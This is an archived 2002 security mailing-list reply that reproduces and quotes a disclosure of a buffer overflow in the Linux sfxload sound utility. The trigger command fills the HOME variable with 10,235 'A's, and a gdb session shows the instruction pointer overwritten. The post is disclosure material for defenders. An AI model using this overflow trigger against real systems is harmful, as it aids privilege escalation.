I successfully reproduced it in my box
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[root_at_tribilin /root]# cat /etc/issue
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22 on an i586
[root_at_tribilin /root]# export HOME=`perl -e 'print "A" x 10235'`
[root_at_tribilin /root]# ./sfxload
Segmentation fault (core dumped)
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Regards,
Gabriel A. Maggiotti
Email: gmaggiot_at_ciudad.com.ar
Webpage: http://qb0x.net
----- Original Message -----
From: "l0rt" <simon_at_snosoft.com>
To: <vuln-dev_at_securityfocus.com>
Sent: Wednesday, January 02, 2002 5:53 PM
Subject: sfxload issues.
>
> Vendor : http://members.tripod.de/iwai/awedrv.html
> Program: sfxload
> OS : RH 7.1
> Version: 0.4.3
> SUID : No
> SGID : No
> Issue : This may get called by an suid helper binary which would allow
> a normal user to gain some more privs.
>
> --------------------------------------------------------------------------
>
> Details:
> [raven] /u1/cores/testing/bin> export HOME=`perl -e 'print "A" x 10235'`
>
> /* I just set HOME to be [10235] A's */
>
> [raven] /u1/cores/testing/bin> sfxload
> Segmentation fault (core dumped)
>
> /* When xfsload is run it reads in the HOME var and cores!!! */
>
> [raven] /u1/cores/testing/bin/sfxload> gdb /bin/sfxload /* gdb */
> GNU gdb 5.0rh-5 Red Hat Linux 7.1
> Copyright 2001 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, and you
> are
> welcome to change it and/or distribute copies of it under certain
> conditions.
> Type "show copying" to see the conditions.
> There is absolutely no warranty for GDB. Type "show warranty" for
> details.
> This GDB was configured as "i386-redhat-linux"...(no debugging symbols
> found)...
> (gdb) core core
> Core was generated by `AAAAAAAA'.
> Program terminated with signal 11, Segmentation fault.
> Reading symbols from /lib/i686/libm.so.6...done.
> Loaded symbols for /lib/i686/libm.so.6
> Reading symbols from /lib/i686/libc.so.6...done.
> Loaded symbols for /lib/i686/libc.so.6
> Reading symbols from /lib/ld-linux.so.2...done.
> Loaded symbols for /lib/ld-linux.so.2
> #0 0x41414141 in ?? ()
> (gdb) bt
> #0 0x41414141 in ?? ()
> Cannot access memory at address 0x41414141
> (gdb)
>
> /* EIP gets killed */
>
>
>
>
> --
> Regards,
> l0rt
>
> ------------------------------------------------------------
> "The only way to get rid of temptation is to give in to it."
>
>
Received on Jan 03 2002
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